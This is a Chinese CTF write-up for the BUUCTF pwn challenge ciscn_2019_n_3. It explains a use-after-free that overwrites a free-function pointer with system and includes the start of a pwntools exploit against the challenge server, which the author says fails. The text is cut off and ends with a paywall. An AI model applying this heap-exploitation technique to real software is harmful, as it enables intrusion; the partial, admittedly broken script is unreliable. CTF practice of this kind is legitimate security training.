[BUUCTF-pwn]——ciscn_2019_n_3
- 结构体:
//该结构体仅仅是选择字符串的时候的结构体
struct chunk
{
void *rec_str_print();
void *rec_str_free();
char *str;
}
//该结构体仅仅是选择数字的时候的结构体
struct chunk
{
void *rec_int_print();
void *rec_int_free();
int number;
}
这道题目就是简单的uaf漏洞利用,由于system已经给你了,所以连泄露地址都给你省了。很时候新手练习uaf。简单来说,就是通过堆漏洞将rec_int_free或者rec_str_free给需要为system。或者将rec_str_free给修改为system
一个不知道为什么不可以的payload, 感觉良好觉得非常可以,但是就是不行。希望有大神可以解惑一下啊
from pwn import *
context(log_level='debug',arch='i386')
#p = process('./ciscn_2019_n_3')
p = remote('node4.buuoj.cn',28062)
elf = ELF("./ciscn_2019_n_3")
libc = ELF("./libc-2.27.so")
def new(index,length,content):
p.recvuntil("CNote > ")
p.sendline('1')
p.recvuntil("Index > ")
p.sendline(str(index))
p.recvuntil("Type > ")
p.sendline('2')
p.recvuntil("Length > ")
p.sendline(str(length)</

本文介绍了一个名为ciscn_2019_n_3的比赛题目,该题涉及UAF(Use After Free)漏洞的利用。文章提供了三种不同的利用方法,并探讨了为何某些payload无法成功的原因。
最低0.47元/天 解锁文章
1198

被折叠的 条评论
为什么被折叠?



